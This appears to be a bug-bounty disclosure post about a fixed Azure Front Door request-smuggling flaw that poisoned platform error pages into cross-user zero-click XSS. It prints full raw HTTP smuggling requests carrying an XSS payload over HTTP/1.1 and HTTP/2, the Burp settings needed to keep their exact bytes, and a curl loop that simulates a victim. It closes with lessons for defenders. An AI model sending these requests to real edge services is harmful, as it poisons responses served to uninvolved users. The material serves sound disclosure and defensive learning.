Smuggling Through the Front Door... Achieving 0-Click XSS with Cache Poisoning

In this post, I want to walk through how a surviving Azure Front Door desync poisoned platform error pages into a global 0-click XSS. This issue was tracked as VULN-157984, confirmed by Microsoft, fixed, and awarded under the Azure bounty program.

Smuggling Through the Front Door... Achieving 0-Click XSS with Cache Poisoning

Turning Azure Front Door's own error pages into a cross-user, zero-click XSS primitive through request desynchronization and poisoned response delivery,including on HTTP/2-facing targets after the first fix.


A normal user opens a hostname fronted by Azure Front Door.

They do not click a malicious link. They do not submit a form. They do not paste a payload into a URL.

They just request the site.

What comes back is Azure's own 400 Bad Request page, except the page contains attacker-controlled HTML, and the browser executes it under the victim's origin.

That is the bug.

Not reflected Host-header XSS against your own request. Not an application sink in some forgotten parameter. A cross-user, poisoned-response, zero-click XSS built from a parser disagreement at the edge, a platform error template that trusted the wrong Host value, and shared response behavior that could deliver the result to the next client.

Microsoft tracked this as VULN-157984. MSRC confirmed it, fixed it, and awarded $10,000 under the Azure bounty program.

This post is the story of how a "fixed" Azure Front Door desync still had teeth, and how the second bite was worse than the first.


The technique in one paragraph

attacker sends malformed request
  -> edge / downstream components disagree about request boundaries
  -> smuggled Host value is consumed by Azure error-page generation
  -> poisoned 400 HTML crosses onto a clean victim request
  -> victim browser executes attacker HTML in the affected origin

Self-XSS via Host reflection is usually worthless. The attacker controls the request that triggers it, so triage correctly shrugs.

Desync + platform error HTML + shared response behavior turns that same reflection into something that behaves like stored XSS, without application persistence.

That distinction is the whole game.


The first bug was "only" redirect poisoning

In the previous post, I wrote about VULN-152925: request smuggling to cache poisoning on Azure Front Door. That report let me poison redirects so unrelated users could be sent to a different Azure Front Door-backed host. Microsoft confirmed it, fixed it, and paid a bounty.

While that first case was still open, I was already seeing another behavior: the same general class of desync/cache issues could place attacker-controlled data into Azure's error responses, not just Location headers.

At the time, I did not want to spam the case. The main report was focused on redirect poisoning. Near the end of the ticket, I sent MSRC a note that I had seen HTTPS targets where I could cache an XSS payload for the next user.

Then the first fix landed.

I retested.

The redirect path looked better.

The HTML injection path was still alive.

Even worse, I found a second request shape that did not need the exact same malformed POST primitive from the first report. This one used a malformed or confusing GET, a smuggled Host header, and Azure's own error-page rendering.

That became VULN-157984, a bypass of the first fix.

Fixing the redirect constructor did not remove the desync. It only changed which response template became the weapon.

Why this was a separate report

During the first MSRC case, not every impact was a redirect. Some targets turned smuggled data into a 400 Bad Request or "service unavailable" page. Alone, that is not always interesting.

But the error page included the host value:

400

domain.com is facing issues.

It looks like there is a bad request.

If I could control the host value of the smuggled request, and if that value was reflected as HTML, a desync could become XSS.

I treated it as a new report because:

  • the request primitive was different
  • the impact was different (JS execution, not just redirect hijack)
  • the first fix did not stop it
  • it survived across multiple Azure Front Door-backed customer properties
  • in some cases it also worked against HTTP/2-facing targets

The first bug was traffic redirection. This second bug was zero-click XSS delivered through poisoned platform responses.


Self-XSS until it isn't

If the only affected response is the response to the attacker's malformed request, this is boring:

attacker sends broken request with evil Host
  -> attacker receives error page containing evil Host

That is self-reflection. Many programs correctly score it low.

That is not what made this bounty-worthy.

The important behavior was that the malformed request poisoned the response path for another client. A normal user-style request could receive the error page containing the payload.

It behaved like stored XSS, even though nothing was stored in an application database. The "storage" was the platform / cache / desync layer:

payload source:     attacker's malformed request
payload delivery:   platform error page + cache/desync behavior
payload execution:  victim's clean navigation to the affected host

The bypass request

The first clean reproduction used my own Azure Front Door endpoint:

https://d3d-ejdwaudvfxgqfkbq.z01.azurefd.net/

The request looked like this:

GET / HTTP/1.1
Host: d3d-ejdwaudvfxgqfkbq.z01.azurefd.net
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: keep-alive
Content_Length: 81

GET / HTTP/1.1
Host: <IMG SRC=# onmouseover="alert(document.domain)">
Smuggle: 

The bytes that mattered

1. Content_Length with an underscore

That is not a normal Content-Length header. The underscore matters.

In some cases I could also reproduce variants with a normal Content-Length, but this malformed form gave a clean way to explain the bypass. The request is a GET, but it still carries what looks like a second request after the headers.

2. The smuggled request's Host

GET / HTTP/1.1
Host: <IMG SRC=# onmouseover="alert(document.domain)">
Smuggle:

3. The trailing Smuggle: header

Single trailing space. No final line ending.

As with the first bug, tooling normalization can destroy the exact byte shape needed to reproduce it. In Burp Repeater:

  • disable Update Content-Length
  • disable Normalize HTTP/1 line endings
  • preserve the malformed bytes exactly
The HTTP/1.1 gadget in Repeater: malformed length header, embedded request, and attacker-controlled Host.

Normal first, then broken

On the first send, the response from my Azure Front Door endpoint looked normal. In my test setup, the endpoint redirected to example.com, so a normal response body showed the Example Domain page:

HTTP/1.1 200 OK
Date: Fri, 04 Jul 2025 21:00:23 GMT
Content-Type: text/html
Content-Length: 1256
Cache-Control: max-age=2279
x-azure-ref: 20250704T...
X-Cache: TCP_HIT

<!doctype html>
<html>
<head>
  <title>Example Domain</title>

Send twice back to back, and the response changed from a normal 200 into a 400.

More importantly, the injected Host header appeared inside the generated error page as HTML:

<h1>400</h1>
<h2>
  <img src=# onmouseover="alert(document.domain)">
  <span> is facing issues</span>
</h2>

That was the moment the bug stopped being "redirect research leftovers."

I was no longer only controlling a redirect header. I was controlling HTML inside an error response generated by the platform.

If that response could be cached or served to the next user, this was not reflected XSS against my own malformed request.

It was zero-click XSS through a poisoned response.

Azure's generated 400 page renders the smuggled Host value as live HTML.

Proving cross-user impact

Next step: prove the behavior affected another user-style request.

One of the examples I used was:

https://e-[redacted].com/

Same idea, slightly different gadget shape, this time with a normal Content-Length:

GET / HTTP/1.1
Host: e-[redacted].com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 81

GET / HTTP/1.1
Host: <IMG SRC=# onmouseover="alert(document.domain)">
Smuggle:

That was another reason not to describe this as a one-off header typo. The exact parser disagreement varied by target. The backend result did not: the second request's Host value landed in the error page.

Proving it was not "just my Burp session"

To simulate a separate victim, I used a remote loop:

for i in {1..100}; do curl -k -sI https://e-[redacted].com/ && sleep 2; done

While that loop ran on a remote VPS, I sent multiple requests with the malformed GET gadget from my test machine.

After about five or six attack requests, the clean remote client received the poisoned 400 error.

When the page was opened in a browser, the payload executed.

This was the zero-click part:

  • no crafted victim URL containing the payload
  • no form submission
  • no interaction with attacker-controlled content first

The victim's request was clean. The poisoned response was the delivery mechanism.

I did not need anything fancy for the final proof. A simple alert(document.domain) was enough to prove script execution in the victim origin. And because this was affecting so many companies using Azure Front Door, getting it patched mattered more than dressing up the payload.

That said, once you have HTML execution under the victim origin via a poisoned platform page, the practical impact class is not "alert." Depending on the affected application's controls and what JavaScript can access, it can enable:

  • credential phishing on a trusted domain
  • session / token theft where accessible to JavaScript
  • user-action abuse inside the origin context
  • account takeover when chained with application-specific session handling

The PoC proved the execution primitive. The primitive is what made the class dangerous.


Same bite over HTTP/2

This is the part I do not want buried in a footnote.

On some targets, the front-facing behavior was HTTP/2. One example was security-team infrastructure:

https://cdev.renxt.[redacted].com/

In Burp, the request looked like this:

GET / HTTP/2
Host: cdev.renxt.[redacted].com
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Length: 81

GET / HTTP/1.1
Host: <IMG SRC=# onmouseover="alert(document.domain)">
Smuggle:

Why the Connection header is the tell

In HTTP/2, connection-specific headers such as Connection, Keep-Alive, Transfer-Encoding, and similar HTTP/1.x hop-by-hop headers are not supposed to be forwarded as normal request headers. A well-behaved HTTP/2 edge should either reject them or normalize them before anything downstream might parse the request as HTTP/1.1.

So when an HTTP/2-facing target still reacted to a request containing:

  • Connection: keep-alive
  • Content-Length
  • an embedded HTTP/1.1 request body

...it suggested an HTTP/2-to-HTTP/1.1 translation boundary somewhere behind the edge.

That does not automatically prove a downgrade vulnerability by itself. It is exactly the kind of boundary where downgrade desync bugs tend to appear.

Client speaks HTTP/2
        |
        v
Azure Front Door / edge
        |
        v
H2 -> H1 translation   <--- desync trust boundary
        |
        v
Component that may treat post-header bytes as another request
        |
        v
Error page reflects smuggled Host as HTML
        |
        v
Poisoned response served to clean victim traffic

The observation is what matters: negotiating HTTP/2 at the public edge did not eliminate the behavior. A downgrade boundary is the most plausible explanation, but the black-box evidence does not reveal Azure's internal hop-by-hop topology.

Same impact

The remote output showed normal 307 redirects, then a poisoned 400 like the others.

On accessing the site while sending attacks from Burp, same result: 0-click XSS execution without warning.

Across HTTP/1.x and HTTP/2-facing properties. Across many independently operated Azure Front Door deployments,with an Azure customer base that made the potential attack surface far larger than the hosts I safely confirmed.

Reusable lesson: HTTP/2 at the client edge is not proof that the full request path is desync-safe. Test translation boundaries with the same sinks used on pure H1 targets: redirects, error pages, cache keys, and login bounces.


Pushing critical mass

This is how I think about the severity, and how I presented it:

Stage What I showed Why it matters
L1 Host reflected into Azure 400 HTML on the attacker request Sink exists, but looks like self-XSS
L2 Clean request receives poisoned 400 after attacker desync Cross-user / queue-poisoning behavior
L3 Remote VPS / separate network gets the poisoned page Not a local Burp artifact
L4 Browser executes payload on victim hostname with clean URL True XSS in victim origin
L5 Works on HTTP/1.1 and HTTP/2-facing targets Not a single-protocol oddity
L6 Reproduced across many AFD-backed customer properties Platform-class blast radius

MSRC assessed the case as:

Case: 99278
Vulnerability: VULN-157984
Severity: Important
Security Impact: Elevation of Privilege
Bounty: $10,000

The exploit did not require a victim to click a crafted URL containing the payload. The victim's request was clean. The poisoned response was the delivery mechanism.

That is what made the bug feel closer to stored XSS than reflected XSS.


More than a few hosts

I found the behavior across a large number of Azure Front Door-backed customer properties. Many appeared to be used by large security companies in Office 365 proxy-style customer environments.

I shared examples with MSRC showing that the value/prefix-style gadget affected many hardened hosts. I also found examples outside that network.

The same exact byte-level trick did not always work everywhere:

  • on some targets, the underscore version of Content_Length helped
  • on others, a normal Content-Length was enough
  • on some, the target was HTTP/1.x-facing
  • on others, the front-facing behavior was HTTP/2

Customer-specific cache policies, redirect logic, origin configurations, and protocol handling influenced how the issue ultimately manifested. What stood out was the consistency with which the same malformed request pattern triggered externally observable anomalies across a wide range of Azure Front Door-backed hosts.

The blast radius was the real story. I did not claim that every Azure Front Door tenant was exploitable, and I did not spray production users. I reproduced the class across multiple unrelated customer configurations and supplied representative hosts to MSRC. Because the vulnerable behavior lived in shared edge and error-generation paths, not in one customer's application code, the potential exposure extended to a platform population numbering in the thousands.


What defenders should take from this

Request smuggling findings should not be patched only at the final observed symptom.

If the observed symptom is "poisoned redirect," it is tempting to harden redirect construction and move on. But the underlying issue may still allow poisoning:

  • a 400 page
  • a 404 page
  • a login redirect
  • a cache key
  • some other response path nobody looked at during the first fix

For this specific class:

  1. Normalize malformed length headers at the edge, including underscore / weird CL variants, not just textbook Content-Length.
  2. Never reflect raw Host into HTML error templates without strict encoding, especially platform-generated pages that may be cached.
  3. Do not cache generated error pages in a way that lets one client's desync poison another client's response.
  4. Treat H2->H1 translation as a desync trust boundary. Hop-by-hop headers and body-as-request ambiguities are not "legacy H1-only" problems if translation still exists.

What researchers should take from this

When you find a desync primitive, test more than one sink.

Try:

  • redirects
  • error pages
  • invalid hosts
  • valid hosts
  • HTTP -> HTTPS redirects
  • non-www -> www redirects
  • platform default pages
  • customer-configured origins
  • the same idea through HTTP/1.x and HTTP/2-facing paths

And when a vendor says the first issue is fixed, retest the class, not just the original PoC bytes.

In this case, that extra testing turned one fixed Azure Front Door bug into a second confirmed MSRC report, and moved the impact from traffic redirection to JavaScript execution in the victim origin with no victim click required.


Disclosure timeline

  • July 4, 2025: I submitted the bypass as VULN-157984.
  • July 7, 2025: MSRC opened case 99278.
  • July 28, 2025: MSRC confirmed reproduction and said the responsible team was working on a fix.
  • August 22, 2025: MSRC said the issue was fixed and asked me to retest. I could no longer reproduce it.
  • August 28, 2025: Microsoft awarded a $10,000 bounty, rating the issue Important with an Elevation of Privilege impact.

Together, the two reports were:

VULN-152925 -> request smuggling -> cross-user redirect poisoning -> $10,000
VULN-157984 -> patch bypass -> cross-user zero-click XSS       -> $10,000

Closing

This second bug is why I do not like stopping at the first patch.

The first fix addressed the redirect poisoning behavior I reported, but the broader bug class still had another sharp edge. Once I retested the platform and focused on the error-page path, the impact moved from traffic redirection to JavaScript execution.

The chain was:

malformed / confusing request framing
  -> request desynchronization
  -> smuggled Host
  -> Azure error-page HTML reflection
  -> poisoned response served to clean clients
  -> 0-click XSS in the victim origin
  -> works across HTTP/1.1 and HTTP/2-facing targets

Microsoft fixed this report and paid a bounty.

The lesson I am keeping is simpler than the bytes:

Don't patch the redirect. Patch the parser, the template, and the cache.

And if you are hunting: when the edge gives you a desync, ask what else trusts the smuggled request, because sometimes the answer is not Location.

Sometimes it is the error page every user was never supposed to see.